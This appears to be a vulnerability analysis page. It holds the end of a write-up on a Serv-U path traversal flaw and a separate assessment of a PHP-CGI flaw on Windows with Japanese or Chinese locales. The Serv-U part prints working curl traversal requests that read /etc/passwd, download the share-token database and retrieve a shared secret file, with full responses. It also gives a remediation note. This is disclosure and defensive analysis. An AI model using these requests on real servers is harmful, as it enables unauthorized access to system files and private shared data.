A default Windows installation will run the Serv-U service with NT AUTHORITY\NETWORK SERVICE permissions. A default Linux installation will run the Serv-U service with root permissions. The permissions of the running Serv-U service will impact the ability to read some files, should the Serv-U service not have sufficient permission to read that file. If the Serv-U service is running on Linux as root for example, this will not be an issue.

Another interesting file to read would be C:\ProgramData\RhinoSoft\Serv-U\Shares\Serv-U.FileShares. This is a SQLite3 database containing the ShareToken of every file shared by Serv-U. The ShareToken is a secret needed for an external party to read a shared file. However on Windows this file is locked, and attempting to read this file will not work. The call to kernelbase!CreateFileW in the Serv-U.exe process will return ERROR_SHARING_VIOLATION.

When targeting a Linux based system, we can read an arbitrary file such as /etc/passwd as shown below. Note that path separators must be backslashes (\) and not forward slashes (/).

>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\..\..\..\etc^&InternalFile=passwd
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.126
Date: Tue, 11 Jun 2024 14:55:28 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Last-Modified: Tue, 16 Jan 2024 10:58:11 GMT
Expires: -1
Cache-Control: must-revalidate, private
Content-Length: 3017

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

While the SQLite database Serv-U.FileShares is locked on Windows, we can successfully read this file on a Linux target, as shown below:

curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\Shares^&InternalFile=Serv-U.FileShares --output Serv-U.FileShares
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 61440  100 61440    0     0  1965k      0 --:--:-- --:--:-- --:--:-- 2000k

The resulting output will contain an HTTP response header that we must first strip out in order to leave only the desired file’s content. Then, using a tool like DB Browser for SQLite, we can read the database and discover every shared file on the target system.

db1.png

Knowing the location of a shared file, as given in the FullPath column of the ad_hoc_files table, we can now read the shared file as follows:

Note the random directory name in the path (PzhW3v7W in the example above), which we would not be able to guess without first reading the Serv-U.FileShares database.

>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\..\..\..\testdomain\7\PzhW3v7W^&InternalFile=secrets.txt
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.126
Date: Tue, 11 Jun 2024 15:56:44 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Type: text/plain
Pragma: no-cache
Cache-Control: no-cache,no-store,max-age=0,must-revalidate
Expires: -1
Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/;  secure; httponly
Content-Length: 18

THIS IS A SECRET!

Remediation

SolarWinds has released a hotfix 15.4.2 Hotfix 2 to remediate this issue. Serv-U customers are advised to apply this hotfix on an urgent basis.

Further information about the hotfix is available from the vendor here.

References

2
Ratings
Technical Analysis

I have rated the attacker value as high, as if the requirement to exploitation are met the attacker can get remote unauthenticated RCE on the target Windows server. I have rated the Exploitability as Low as there are several prerequisites for a target to be vulnerable, specifically.

  • Target must be a web server running on a Windows system. A Web server on Linux for example can not be vulnerable. Currently I have only seen vulnerable Apache based configurations. I could not get IIS to be vulnerable during testing.
  • Target webserver must expose PHP in CGI mode (as opposed to FastCGI mode which is generally more common), or expose the CGI binary directly through an Apache ScriptAlias directive.
  • The target Windows OS must have its system locale set to either Japanese (Code page 932) or Chinese (Code pages 950 or 936). For this reason most systems that meet the other requirements will not be exploitable, as the systems locale must use a code page that can cause the vulnerability.

It is worth noting that XAMPP for Windows is in a vulnerable configuration by default, however the target Windows system XAMPP is running on still must meet the locale requirement of either Japanese or Chinese as mentioned above.